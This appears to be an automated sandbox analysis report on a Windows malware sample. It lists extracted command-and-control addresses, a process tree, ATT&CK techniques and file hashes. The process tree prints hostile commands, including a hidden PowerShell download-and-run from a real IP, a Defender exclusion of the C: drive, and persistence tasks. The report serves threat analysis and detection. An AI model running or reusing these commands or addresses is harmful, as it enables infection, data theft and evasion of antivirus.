Overview

overview

10

Static

static

5

2025-04-06...er.exe

windows11-21h2-x64

Resubmissions

06/04/2025, 15:38

250406-s23d9assdz 10

06/04/2025, 15:03

250406-sffcla1whv 10

Analysis

  • max time kernel
    83s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250313-en
  • resource tags

    arch:x64arch:x86image:win11-20250313-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/04/2025, 15:38

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    ebbfde535259121763840a367a9c1a92

  • SHA1

    df427a54057634b350520cc472faf3813f59925e

  • SHA256

    a40db67ec008dbdbf87fd6c304948096b6bf9f2fa07b6ea9d5e71b59bfdde574

  • SHA512

    60676876c53cdea75c8b6b0ca67308599c30b91fccfa363802659b02e1acb1ba89c94f762ccc9ea1365bd800a81bf5fc5bdafc2a87442f27c1cff1681319d7f0

  • SSDEEP

    24576:eqDEvCTbMWu7rQYlBQcBiT6rprG8a4Ku:eTvC/MTQYxsWR7a4K

Score
10/10
amadeydarkvisionlumma092155bootkitdefense_evasiondiscoveryexecutionpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://cosmosyf.top/GOsznj

https://yjrxsafer.top/shpaoz

https://krxspint.digital/kendwz

https://rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://xrfxcaseq.live/gspaz

https://ywmedici.top/noagis

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://wstarcloc.bet/GOksAo

https://atargett.top/dsANGt

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://starcloc.bet/GOksAo

Extracted

Family

darkvision

C2

82.29.67.160

Attributes
  • url

    http://107.174.192.179/data/003

    https://grabify.link/ZATFQO

    http://107.174.192.179/clean

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • DarkVision Rat

    DarkVision Rat is a trojan written in C++.

    ratdarkvision
  • Darkvision family
    darkvision
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Contacts a large (3881) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 9 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Sets service image path in registry 2 TTPs 3 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 17 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
    defense_evasion
  • Loads dropped DLL 19 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies registry class 4 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1496
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 48ecGmaFiD8 /tr "mshta C:\Users\Admin\AppData\Local\Temp\s1w780Akm.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4736
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn 48ecGmaFiD8 /tr "mshta C:\Users\Admin\AppData\Local\Temp\s1w780Akm.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3888
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\s1w780Akm.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6024
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'STRJ8DNXOQPUYR5PLMNYE1AZBMLFT0DP.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3944
        • C:\Users\Admin\AppData\Local\TempSTRJ8DNXOQPUYR5PLMNYE1AZBMLFT0DP.EXE
          "C:\Users\Admin\AppData\Local\TempSTRJ8DNXOQPUYR5PLMNYE1AZBMLFT0DP.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2380
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:948
            • C:\Users\Admin\AppData\Local\Temp\10003000101\b12f18ca4c.exe
              "C:\Users\Admin\AppData\Local\Temp\10003000101\b12f18ca4c.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1224
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                  PID:2688
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2128
              • C:\Users\Admin\AppData\Local\Temp\10337510101\UZPt0hR.exe
                "C:\Users\Admin\AppData\Local\Temp\10337510101\UZPt0hR.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:3604
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5200
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe Add-MpPreference -ExclusionPath 'C:'
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2064
                • C:\Windows\system32\svchost.exe
                  "C:\Windows\system32\svchost.exe"
                  7⤵
                  • Downloads MZ/PE file
                  • Adds Run key to start application
                  • Suspicious use of WriteProcessMemory
                  PID:6072
                  • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                    "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
                    8⤵
                    • Sets service image path in registry
                    • Executes dropped EXE
                    • Suspicious behavior: LoadsDriver
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:6136
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell Add-MpPreference -ExclusionPath C:\
                      9⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:14088
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell Remove-MpPreference -ExclusionPath C:\
                      9⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:6420
                  • C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
                    "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
                    8⤵
                    • Deletes itself
                    • Executes dropped EXE
                    PID:2560
                    • C:\Users\Admin\AppData\Local\Temp\{cfa73ac8-136a-4d9a-a907-fd10b523778e}\2aa71ad5.exe
                      "C:\Users\Admin\AppData\Local\Temp\{cfa73ac8-136a-4d9a-a907-fd10b523778e}\2aa71ad5.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
                      9⤵
                      • Executes dropped EXE
                      • Checks for VirtualBox DLLs, possible anti-VM trick
                      • System Location Discovery: System Language Discovery
                      PID:9760
                      • C:\Users\Admin\AppData\Local\Temp\{7d8653d6-9663-46a1-983b-9de34d8ef495}\1ae0e7e6.exe
                        C:/Users/Admin/AppData/Local/Temp/{7d8653d6-9663-46a1-983b-9de34d8ef495}/\1ae0e7e6.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
                        10⤵
                        • Drops file in Drivers directory
                        • Sets service image path in registry
                        • Executes dropped EXE
                        • Impair Defenses: Safe Mode Boot
                        • Loads dropped DLL
                        • Adds Run key to start application
                        • Writes to the Master Boot Record (MBR)
                        • Checks for VirtualBox DLLs, possible anti-VM trick
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: LoadsDriver
                        • Suspicious use of AdjustPrivilegeToken
                        PID:11108
              • C:\Users\Admin\AppData\Local\Temp\10340260101\d565737ffd.exe
                "C:\Users\Admin\AppData\Local\Temp\10340260101\d565737ffd.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:3716
              • C:\Users\Admin\AppData\Local\Temp\10358260101\Rm3cVPI.exe
                "C:\Users\Admin\AppData\Local\Temp\10358260101\Rm3cVPI.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:5732
              • C:\Users\Admin\AppData\Local\Temp\10362200101\ed53248cd5.exe
                "C:\Users\Admin\AppData\Local\Temp\10362200101\ed53248cd5.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Writes to the Master Boot Record (MBR)
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:5696
              • C:\Users\Admin\AppData\Local\Temp\10380550101\f9f2ed07b5.exe
                "C:\Users\Admin\AppData\Local\Temp\10380550101\f9f2ed07b5.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:7264
              • C:\Users\Admin\AppData\Local\Temp\10429610101\9sWdA2p.exe
                "C:\Users\Admin\AppData\Local\Temp\10429610101\9sWdA2p.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:7932
              • C:\Users\Admin\AppData\Local\Temp\10432230101\but2.exe
                "C:\Users\Admin\AppData\Local\Temp\10432230101\but2.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1580
                • C:\Windows\SysWOW64\schtasks.exe
                  "schtasks" /create /tn "PCI Bus Driver" /tr C:\Drivers\pcidrv.exe /sc minute /mo 1 /f
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:8416
                • C:\Windows\SysWOW64\schtasks.exe
                  "schtasks" /create /tn "PCI Bus Driver Startup" /tr C:\Drivers\pcidrv.exe /sc onstart /ru SYSTEM /f
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:2120
                • C:\Drivers\pcidrv.exe
                  C:\Drivers\pcidrv.exe
                  7⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:8640
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd" /C timeout /t 2 && del C:\Users\Admin\AppData\Local\Temp\10432230101\but2.exe
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:8668
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout /t 2
                    8⤵
                    • System Location Discovery: System Language Discovery
                    • Delays execution with timeout.exe
                    PID:8876
              • C:\Users\Admin\AppData\Local\Temp\10434400101\larBxd7.exe
                "C:\Users\Admin\AppData\Local\Temp\10434400101\larBxd7.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                PID:12752
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:12872
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    PID:8736
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /I "opssvc wrsa"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:8756
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    PID:12036
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                    8⤵
                      PID:12048
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
        1⤵
          PID:1768
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
          1⤵
            PID:4308
          • C:\Windows\system32\BackgroundTransferHost.exe
            "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
            1⤵
            • Modifies registry class
            PID:5220
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            1⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:6944
          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
            1⤵
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:1708
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\{cf560e92-3003-4642-8523-e7b4365f6cea}\72e64bd5-73dc-4069-b5d3-7d222f717511.cmd"0
            1⤵
              PID:11200
            • C:\Windows\system32\LogonUI.exe
              "LogonUI.exe" /flags:0x4 /state0:0xa3824055 /state1:0x41c64e6d
              1⤵
                PID:8684

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Persistence

              Boot or Logon Autostart Execution

              2
              T1547

              Registry Run Keys / Startup Folder

              2
              T1547.001

              Pre-OS Boot

              1
              T1542

              Bootkit

              1
              T1542.003

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Privilege Escalation

              Boot or Logon Autostart Execution

              2
              T1547

              Registry Run Keys / Startup Folder

              2
              T1547.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Defense Evasion

              Impair Defenses

              1
              T1562

              Safe Mode Boot

              1
              T1562.009

              Modify Registry

              2
              T1112

              Pre-OS Boot

              1
              T1542

              Bootkit

              1
              T1542.003

              Virtualization/Sandbox Evasion

              2
              T1497

              Credential Access

              Unsecured Credentials

              1
              T1552

              Credentials In Files

              1
              T1552.001

              Discovery

              Network Service Discovery

              2
              T1046

              Process Discovery

              1
              T1057

              Query Registry

              5
              T1012

              System Information Discovery

              3
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              Virtualization/Sandbox Evasion

              2
              T1497

              Lateral Movement

              Collection

              Data from Local System

              1
              T1005

              Command and Control

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Drivers\pcidrv.exe
                Filesize

                2.3MB

                MD5

                e5cb0425792ae07695337b5d36369dea

                SHA1

                d0b53a35d9959afc34e746faa7da663c4dc31d82

                SHA256

                975df998975749de47d11c12056c03f8e387f5eb7b0348937770a11158cf4382

                SHA512

                f1c3fa5ab23cc544fa485dff63c2ecd7c3ceb1904fb8ea3c7ab016dad7036a0bf1977acf79a871b22450c30b94da700455e9df4e602741467dbb5a6f37fa0795

                Download Submit

              • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                Filesize

                1.9MB

                MD5

                bcbec32483eb43840823c4f6bd653779

                SHA1

                3b83255512c5f268d0a1cb2997b1cc9d40f4252d

                SHA256

                d8a8e71a2be6d5fafa5d49029a37751c78be7e007152859233b8020a5c258167

                SHA512

                4cb807157807c72d599305eada37e85330314e43061f9af3ab9c44839bfc945431e320adf5259b9a9ecb531368cd9ab91d047eb8874f0ce6a8d4022ed69a6408

                Download Submit

              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
                Filesize

                330B

                MD5

                6f073c61a9813394eaf2012bab903443

                SHA1

                0e7a84752aa8b63183ab5aae5ac64e71a453a316

                SHA256

                5159fd14ef314a385d0ce9e8a53b2735a476f34a1a94d0dd35f7c5b019e6cf3d

                SHA512

                805db788d2727ecb7499f9cd73b6e1150d094ef1c46e0a2888c4c17589fd676b66052da0f1d7e09efa67258dc30d4f425d8b2ee350747639dc0c83814b9741bc

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                627073ee3ca9676911bee35548eff2b8

                SHA1

                4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                SHA256

                85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                SHA512

                3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                16KB

                MD5

                6180d4a35648f12d0617aadb23e801e5

                SHA1

                baa9c81660ada86788adebc646ab89770c68cfdd

                SHA256

                3ce4fc8da7a5e883c1a062d860edc7d19dbe4e390abc77688a2f1f282dc90cd1

                SHA512

                ca8ab1bf7bbf3b4bfbc86662b584b697533770709043b68c766619ffc3c0d71d32ebf4308fda0e72d9b68237164a2c0cf1a1343dd8516369992165899b1e37fa

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                948B

                MD5

                0c159e4c27795e9d644b50aac83df3e1

                SHA1

                4b00e8b21f23f127e8f3917286d889c81a939786

                SHA256

                39a6a65921ad81a0043f46839045fa390ae4d285382154bbe2fbbb76a517b1ca

                SHA512

                9840f77d45a06bffffec1bffd19c52a1a16de335d1dcce6cf6e4c6a668f0ef1f648661918ffe70a4bd7fa16334a73dcce0cb59f1b036c269a50827f8dab794f1

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                948B

                MD5

                c9baa6d77704281c7ccf594febea03c5

                SHA1

                f7c31b2f33979018cd35d4219268378a179f7cb1

                SHA256

                01c4c388c91f089e42c84718072af620ea3cbcc428293f5bd3c482b73d2069cd

                SHA512

                636e78f1f8df6fa4e94edcfcdaf1845d43e46a81de429370f2a3644142ba854a5fa5eaa96c07a3e9b7befcda573349088d0bd53ae154934bb37566b404b47acd

                Download Submit

              • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\d18731d1-6150-4fcc-a41b-1486abf2a724.down_data
                Filesize

                555KB

                MD5

                5683c0028832cae4ef93ca39c8ac5029

                SHA1

                248755e4e1db552e0b6f8651b04ca6d1b31a86fb

                SHA256

                855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

                SHA512

                aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

                Download Submit

              • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
                Filesize

                23KB

                MD5

                be4306ed23e3366c80b84db4f2f21e3b

                SHA1

                e8ffe0e84930f28f44e86410450c7c303da78431

                SHA256

                0bd4f69043a6efec682af5d1145a22127ae2d97bd66cce63e35132f85fff2778

                SHA512

                a18bcad9ff46d69f79a6f49af210797b582bbb97b523b56b7b6a57cc37b34c5403bbfe259ec218a11853f557801ef61a260fb4dfad95f6453ef1a798c65b1fa6

                Download Submit

              • C:\Users\Admin\AppData\Local\TempSTRJ8DNXOQPUYR5PLMNYE1AZBMLFT0DP.EXE
                Filesize

                1.8MB

                MD5

                0acfe80012a850b8cb0f62b1d0724099

                SHA1

                cf84029e241403f6e1a027f5de75b83896fd5ee4

                SHA256

                92b3d3344c2e05a7f580b984f5af3dab32433dad3b57a12237baa4dcaf91d25d

                SHA512

                ed453d7c2d0497daee5a29b4f1a8aa642a94a8209eb5cdda6244c5ef3fcac5b44925f220cd071f3d48abf5679b37e672ef2b2634515a993edf789d8f991a1bb7

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\10003000101\b12f18ca4c.exe
                Filesize

                956KB

                MD5

                83457e01fa40348dfee40d4832d2d09a

                SHA1

                4f4944f5923de6563e702bba00339ac4d2d70292

                SHA256

                20da0dcdfbe199c63d3ba34bbc08f5a79c8ee28ad1ae069994da6788a2aced3b

                SHA512

                e1954f4c2896f148df99937e9c59bdeb11dfcc613931423e6ea9d7fb1edbf77c042d32a8d212b9884907321671145b010310b0ca6fea0708feb690a9ff73414f

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\10337510101\UZPt0hR.exe
                Filesize

                1.2MB

                MD5

                bf6f64455cb1039947a3100e62f96a52

                SHA1

                28cdd5c2e82d4ad078420dcbf4b32b928861fcb6

                SHA256

                c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba

                SHA512

                c2ceb000b387710cf388e6699a2cb4465380bf5798d9f37c238db0701aaea6ccad1f44e6b9e45398050202ef875a5d7679890df2bb65538a0c8a9655c62c185b

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\10340260101\d565737ffd.exe
                Filesize

                1.8MB

                MD5

                e4b9b2a5f447fe630d6e68bf2b752ad5

                SHA1

                9c1d7e3dbce6d05b9736f003d3ee683126c81197

                SHA256

                e1d9c68ef1e59da3bbaa74372b262139725d6def7efad28368363fc394274419

                SHA512

                5a52eca9e6e257f3fdc81d01370df01f573013fbdc14aeff293525f4b77d526083878664951ea107a38cd478b0374b876513dfe1fe1318b92ce94dcf92fec9f8

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\10358260101\Rm3cVPI.exe
                Filesize

                354KB

                MD5

                27f0df9e1937b002dbd367826c7cfeaf

                SHA1

                7d66f804665b531746d1a94314b8f78343e3eb4f

                SHA256

                aff35e23562fc36f4b8f6b5bf95eb5dbf11e8af6674e3212aa0c4077ddfe8209

                SHA512

                ee4e7e5a8ffe193a8487dd4e9bfb13affa74cacdf250a4e22ed0fc653bbfb615855771dd41d295be905bed311c1690874ce61a5a9d9a5745b4bc550715c7de17

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\10362200101\ed53248cd5.exe
                Filesize

                2.0MB

                MD5

                6837a5e4e87bd2beba9cc3745ca75951

                SHA1

                26ee5ecd2a3e5869d2013dca0915f3992a80083b

                SHA256

                c2525493e865819ac438241abcf03b63de61cd3e3f4bffd40f1fd2a618bbadfd

                SHA512

                af3e47b035e98e8c4a63b194d28b0715382bdf5885c417e18a870934e322c3fe83a0deb7e2a31f0c604b361789890e780da0d09103180bcdbc74e70c20287116

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\10380550101\f9f2ed07b5.exe
                Filesize

                1.8MB

                MD5

                5aadea44f3d96c6f05d0419d9897ea73

                SHA1

                91ee2b28aa0c3e46b0239873e684abe0cdee6b25

                SHA256

                2fc05d98135d83c7ff8d9dc34931b2b07918dbb7bec09541ee83e4833595f3ff

                SHA512

